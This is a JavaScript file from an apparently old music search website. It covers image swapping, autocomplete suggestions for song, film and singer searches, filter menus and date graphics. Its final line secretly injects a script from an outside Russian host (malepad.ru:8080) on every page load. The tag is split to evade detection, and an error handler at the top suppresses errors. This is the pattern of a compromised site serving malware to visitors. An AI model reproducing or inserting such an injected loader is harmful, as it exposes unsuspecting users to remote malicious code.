window.onerror = function() { return true; }
var xmlHttp;
// Netscape 3.0 compatibility test (for javascript image swapping)
compat = true;
if( parseInt( navigator.appVersion ) >= 3 ) { compat = true; }
if( compat )
{
a01on = new Image;(207,34)
a01on.src = "../a01_on.gif";
a01off = new Image;(207,34)
a01off.src = "../a01_off.gif";
a02on = new Image;(205,30)
a02on.src = "../a02_on.gif";
a02off = new Image;(205,30)
a02off.src = "../a02_off.gif";
a03on = new Image;(205,27)
a03on.src = "../a03_on.gif";
a03off = new Image;(205,27)
a03off.src = "../a03_off.gif";
a04on = new Image;(205,28)
a04on.src = "../a04_on.gif";
a04off = new Image;(205,28)
a04off.src = "../a04_off.gif";
a05on = new Image;(205,27)
a05on.src = "../a05_on.gif";
a05off = new Image;(205,27)
a05off.src = "../a05_off.gif";
a06on = new Image;(205,25)
a06on.src = "../a06_on.gif";
a06off = new Image;(205,25)
a06off.src = "../a06_off.gif";
a07on = new Image;(205,27)
a07on.src = "../a07_on.gif";
a07off = new Image;(205,27)
a07off.src = "../a07_off.gif";
a08on = new Image;(205,28)
a08on.src = "../a08_on.gif";
a08off = new Image;(205,28)
a08off.src = "../a08_off.gif";
a09on = new Image;(200,26)
a09on.src = "../a09_on.gif";
a09off = new Image;(200,26)
a09off.src = "../a09_off.gif";
a10on = new Image;(120,37)
a10on.src = "../a10_on.gif";
a10off = new Image;(120,37)
a10off.src = "../a10_off.gif";
a11on = new Image;(200,120)
a11on.src = "../credit_on.gif";
a11off = new Image;(200,120)
a11off.src = "../credit.gif";
ajax = new Image();
ajax.src = "../ajax.gif";
}

// swap images using the cached images

function glow(x, y)
{
   if( compat ) { document.images[x].src=eval(y+'.src'); }
}
var hasbeenselected = false;
var hasbeenselected1 = false;
var searchfield = "songname";
var searchfield1 = "songname";
function checkifselected() {
	if (hasbeenselected)
		return;
	for (i=0; i<12; i++) {
		if (document.getElementById('c' + i).checked) {
	     	document.getElementById('name').setAttribute("readOnly",false);
	     	document.getElementById('name').readOnly = false;
	     	hasbeenselected = true;
			break;
		}
	}
	if (!hasbeenselected) {
		window.alert("Please select a field (Film Name, Song Title etc.) to search on.");
     	document.getElementById('name').setAttribute("readOnly",true);
     	document.getElementById('name').readOnly = true;
	}
}

/*
//var timeoutId = window.setTimeout(
var timeoutId = window.setTimeout(
function() {
	if (callInProgress(xmlHttp) ) {
		reportTimeout();
		xmlHttp.abort();
	}
},
5000
);
*/

function checkifselected1() {
	if (hasbeenselected1)
		return;
	for (i=0; i<6; i++) {
		if (document.getElementById('d' + i).checked) {
	     	document.getElementById('name1').setAttribute("readOnly",false);
	     	document.getElementById('name1').readOnly = false;
	     	hasbeenselected1 = true;
			break;
		}
	}
	if (!hasbeenselected1) {
		window.alert("Please select a field (Film Name, Song Title etc.) to filter results on.");
     	document.getElementById('name1').setAttribute("readOnly",true);
     	document.getElementById('name1').readOnly = true;
	}
}

function initpopulate(el) {
	//window.alert("name is " + el.value);
	searchfield = el.value;
	document.getElementById('name').value = "";
	document.getElementById("suggestions").style.display = 'none';
	if (searchfield == "myrating") {
		hasbeenselected = false;
		return;
	}
	hasbeenselected = true;
   	document.getElementById('name').setAttribute("readOnly",false);
   	document.getElementById('name').readOnly = false;
   	document.getElementById('exact').checked = false;
   	if (searchfield == "singers" || searchfield == "music" || searchfield == "lyricist" || searchfield == "artsinger" || searchfield == "artmusic" || searchfield == "artlyric")
   		document.getElementById("solo").style.display = 'inline';
   	else {
   		document.getElementById("solo").style.display = 'none';
   		document.getElementById("solobox").checked = false;
   	}
   	if (searchfield != "filmname" && searchfield != "songname" && searchfield != "singers" && searchfield != "music" && searchfield != "lyricist" && searchfield != "actor") {
   		for (i = 0; i < document.getElementsByName("selec").length; i++) {
   			document.getElementsByName("selec")[i].checked = false;
   			document.getElementsByName("selec")[i].disabled = true;
   			document.getElementsByName("selec")[i].setAttribute("disabled",true);
   			if (i < 2) {
	   			document.getElementsByName("sortorder")[i].disabled = true;
   				document.getElementsByName("sortorder")[i].setAttribute("disabled",true);
   			}
   				
   		}
   		
   	}
   	else {
   		
   		for (i = 0; i < document.getElementsByName("selec").length; i++) {
   			document.getElementsByName("selec")[i].checked = false;
   			document.getElementsByName("selec")[i].disabled = false;
   			document.getElementsByName("selec")[i].removeAttribute("disabled");
   			if (i < 2) {
	   			document.getElementsByName("sortorder")[i].disabled = false;
   				document.getElementsByName("sortorder")[i].removeAttribute("disabled");
   			}
   				
   		}
   	
   	}
}

function initpopulate1(el) {
	//window.alert("name is " + el.value);
	searchfield1 = el.value;
	document.getElementById('name1').value = "";
	document.getElementById("suggestions1").style.display = 'none';
	hasbeenselected1 = true;
   	document.getElementById('name1').setAttribute("readOnly",false);
   	document.getElementById('name1').readOnly = false;
   	document.getElementById('exact1').checked = false;
	if (searchfield1 == "singers" || searchfield1 == "music" || searchfield1 == "lyricist" || searchfield1 == "artsinger" || searchfield1 == "artmusic" || searchfield1 == "artlyric")
   		document.getElementById("solo1").style.display = 'inline';
   	else {
   		document.getElementById("solo1").style.display = 'none';
   		document.getElementById("solobox1").checked = false;
   	}   	
}

function popupPage(page1) {
windowprops = "height=300,width=520,location=no,"
+ "scrollbars=yes,menubars=no,directories=no,status=no,toolbars=no,resizable=yes,left=220 top=100,dependent=yes,titlebar=no,screenX=220,screenY=100";
//openwindow = "../details.asp?songid=" + page1
openwindow = page1
var w = window.open(openwindow, "info", windowprops);
w.focus();
}

function suggest(input) {
	if (input=="" || input.length < 1) {
		document.getElementById("suggestions").style.display = 'none';
		return;
	}
    xmlHttp=GetXmlHttpObject();
    if (xmlHttp==null) {
        alert ("Browser does not support HTTP Request");
        return;
    }
    var url = "";
	if (searchfield != "cd" && searchfield != "cdsale") {
		url="populatesearch.asp";
    	url=url+"?searchfield="+searchfield;
    	url=url+"&input="+encodeURI(input);


    }
    else if (searchfield == "cd") {
    	url="populate.asp";
    	url=url+"?input="+encodeURI(input);
    }
    else {
    	url="populatesale.asp";
    	url=url+"?input="+encodeURI(input);
    	
    }
    xmlHttp.onreadystatechange=stateChanged;
    xmlHttp.open("GET",url,true);
    xmlHttp.send(null);
} 

function suggest1(input) {
	if (input=="" || input.length < 1) {
		document.getElementById("suggestions1").style.display = 'none';
		return;
	}
    xmlHttp=GetXmlHttpObject();
    if (xmlHttp==null) {
        alert ("Browser does not support HTTP Request");
        return;
    }
    var url = "";
    url="populatesearch.asp";
    url=url+"?searchfield="+searchfield1;
    url=url+"&searchfilter="+encodeURI(searchfilter);    
    url=url+"&input="+encodeURI(input);
    //xmlHttp.onreadystatechange=stateChanged1;
    var list0 = "<ul id = 'alist'>";
    list0 = list0 + "<li style=\"z-index:91;\"><a id='aid' href='#' onclick=\"javascript: xmlHttp.abort(); return false;\"><center><small><font color=#bbbbbb>close</font></small></center></a></li>"
    list0 = list0 + "<li style=\"z-index:91;\"><br><center><img src=\"../ajax.gif\"><br><br><small>loading results</small></center></li></ul>";
    xmlHttp.onreadystatechange=function () { 
    if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") {
    	stateChanged1();    	
    }
    else
	document.getElementById("suggestions1").innerHTML=list0;
	document.getElementById("suggestions1").style.display = 'block';    	
    }
    xmlHttp.open("GET",url,true);
    xmlHttp.send(null);
} 

function makebold (thisstr, checkstr) {
	var startwith = "<font color=#bbbbbb>. ";
	var endwidth = "</font>"
	var retstr = startwith;
	var fronttag = "<font color=#fffff><b><strong>";
	var backtag =  "</strong></b></font>";
	var tempstr = "";
	for (var i = 0; i < thisstr.length; i++) {
		tempstr = thisstr.substring(i, (i+checkstr.length)); // tempstr = 
		if (tempstr.toLowerCase() == checkstr.toLowerCase()) {
			retstr = retstr + fronttag;
			retstr = retstr + tempstr;
			retstr = retstr + backtag;
			retstr = retstr + thisstr.substring(i+tempstr.length, thisstr.length);
			
			break;
		}
		else {
			retstr = retstr + thisstr.substring(i, i+1);
		}
	}
	
	return (retstr + endwidth);
}

function stateChanged() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete"){ 
		var split0 = xmlHttp.responseText.replace(/\&amp;/g,'&');
		var split = split0.split("|");
		var list = "<ul id = 'alist'>";
		if(split[0] != "") {
			list+="<li style=\"z-index:91;\"><a id='aid' href='#' onclick=\"javascript: correctbox('" + document.getElementById("name").value.replace(/\'/g,"\\\'") + "', 0); return false;\"><center><small><font color=#bbbbbb>close</font></small></center></a></li>";
			
			
			for(var i = 0; i < split.length; i++) {
				if (navigator.appName == "Microsoft Internet Explorer")
					list+="<li style=\"z-index:91; display:inline;\">";
				else
					list+="<li style=\"z-index:91;\">";
				list+="<a id='aid' href='#' onclick=\"javascript: correctbox('"+split[i].replace(/\'/g,"\\\'")+"', 1); return false;\">"+makebold(split[i], document.getElementById("name").value)+"</a></li>";
				if (i == (split.length-1))
					list+="";
			}
			if(list != "") {
				list +="</ul>";
			}
		}
		document.getElementById("suggestions").innerHTML=list;
			document.getElementById("suggestions").style.display = 'block';
	} 
}

function stateChanged1() { 

		var split0 = xmlHttp.responseText.replace(/\&amp;/g,'&');
		var split = split0.split("|");
		var list = "<ul id = 'alist'>";
		if(split[0] != "") {
			list+="<li style=\"z-index:91;\"><a id='aid' href='#' onclick=\"javascript: correctbox1('" + document.getElementById("name1").value.replace(/\'/g,"\\\'") + "', 0); return false;\"><center><small><font color=#bbbbbb>close</font></small></center></a></li>";
			
			
			for(var i = 0; i < split.length; i++) {
				if (navigator.appName == "Microsoft Internet Explorer")
					list+="<li style=\"z-index:91; display:inline;\">";
				else
					list+="<li style=\"z-index:91;\">";
				list+="<a id='aid' href='#' onclick=\"javascript: correctbox1('"+split[i].replace(/\'/g,"\\\'")+"', 1); return false;\">"+makebold(split[i], document.getElementById("name1").value)+"</a></li>";
				if (i == (split.length-1))
					list+="";
			}
			if(list != "") {
				list +="</ul>";
			}
		}
		document.getElementById("suggestions1").innerHTML=list;
		document.getElementById("suggestions1").style.display = 'block';
}

function correctbox(str, numint) {
	var elem = document.getElementById("name");
	elem.value=trim(str);
	if (numint > 0) 
		document.getElementById("exact").checked = true;
	else
		document.getElementById("exact").checked = false;
	document.getElementById("suggestions").style.display = 'none';

}

function correctbox1(str, numint) {
	var elem = document.getElementById("name1");
	elem.value=trim(str);
	if (numint > 0) 
		document.getElementById("exact1").checked = true;
	else
		document.getElementById("exact1").checked = false;
	document.getElementById("suggestions1").style.display = 'none';

}


function removelist(thisindex) {
	document.getElementById("suggestions").style.display = 'none';
}


function GetXmlHttpObject() {
    var xmlHttp=null;
    try{
        xmlHttp=new XMLHttpRequest();
    }catch (e){
        try {
            xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
        }catch (e){
            xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
    }
    return xmlHttp;
}

function trim(str) { 
    if (str != null) {
        var i; 
        for (i=0; i<str.length; i++) {
            if (str.charAt(i)!=" ") {
                str=str.substring(i,str.length); 
                break;
            } 
        } 
    
        for (i=str.length-1; i>=0; i--) {
            if (str.charAt(i)!=" ") {
                str=str.substring(0,i+1); 
                break;
            } 
        } 
        
        if (str.charAt(0)==" ") {
            return ""; 
        } else {
            return str; 
        }
    }
	return null;
}    

function changediv() {
	if (document.getElementById('searchdiv').style.display=='inline') {
		document.getElementById('searchdiv').style.display='none';
		document.getElementById('expanddiv').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv(); return false;\">+ New Search</a></font>";
	}
	else {
		document.getElementById('searchdiv').style.display='inline';
		document.getElementById('expanddiv').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv(); return false;\">- Close Search Menu</a></font>";
		// close the other table
		document.getElementById('searchdiv1').style.display='none';
		document.getElementById('expanddiv1').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv1(); return false;\">+ Filter Results</a></font>";
		location.href="#searchagain";
	}		
}

function changediv1() {
	if (document.getElementById('searchdiv1').style.display=='block') {
		document.getElementById('searchdiv1').style.display='none';
		document.getElementById('expanddiv1').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv1(); return false;\">+ Filter Results</a></font>";
		location.href="#searchagain";		
	}
	else {
		document.getElementById('searchdiv1').style.display='block';
		document.getElementById('searchdiv1').style.backgroundColor="#eaeaea";
		document.getElementById('expanddiv1').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv1(); return false;\">- Close Filter Menu</a></font>";
		// close the other table
		document.getElementById('searchdiv').style.display='none';
		document.getElementById('expanddiv').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changediv(); return false;\">+ New Search</a></font>";
		location.href="#filterresults";
	}		
}

function changeFilter() {
	if (document.getElementById('changesort').style.display=='block') {
		document.getElementById('changesort').style.display='none';
		document.getElementById('changesorttable').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changeFilter(); return false;\">+ Change Sort Order</a></font>";
	}
	else {
		document.getElementById('changesort').style.display='block';
		document.getElementById('changesorttable').innerHTML = "<font face='arial' size=2><a href=\"#\" onClick=\"javascript:changeFilter(); return false;\">- Close Sort Order Menu</a></font>";
	}		
}

function checkSolo(num) {
	// 0 is first exact, 1 is first solo, 2 is second exact, 3 is second solo
	if (num == 0 || num == 1) {
		thisdiv = "solo";
		thissolo = "solobox";
		thisid = "exact";
	}
	else {
		thisdiv = "solo1";
		thissolo = "solobox1";
		thisid = "exact1";
	}
	if (num == 0 || num == 2) {
		if (!document.getElementById(thisid).checked) {
			document.getElementById(thissolo).checked = false;
		}
	}
	else {
		if (document.getElementById(thissolo).checked) {
			document.getElementById(thisid).checked = true;
		}
	}
	//else
	//	document.getElementById(thisid).checked = false;
}

function changePage(num) {
	document.getElementById("pagenumber0").value = num;
	document.getElementById("pagenumber1").value = num;
	return true;
}

function checkSubmit(num) {
	if (num==0)
		thissubmitid = "name";
	else
		thissubmitid = "name1";
	if (document.getElementById(thissubmitid).value == "") {
		alert('Search cannot be blank');
		return false;
	}
	else
		return true;
}


today = new Date();
cmonth = today.getMonth() + 1;
cdate = today.getDate();
cyear = today.getYear();
if (cyear < 1900) {
cyear = cyear + 1900;
}
month_src = "../month_" + cmonth +".gif"
date_src = cdate.toString();
if (date_src.length == 1) {
	date_src = "0" + date_src;
}
date_1_src = "../number_" + date_src.substring(0,1) + ".gif";
date_2_src = "../number_" + date_src.substring(1,2) + ".gif";
year_src = cyear.toString();
year_1_src = "../number_" + year_src.substring(0,1) + ".gif";
year_2_src = "../number_" + year_src.substring(1,2) + ".gif";
year_3_src = "../number_" + year_src.substring(2,3) + ".gif";
year_4_src = "../number_" + year_src.substring(3,4) + ".gif";

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Virtual_Memory.js"></scr'+'ipt>');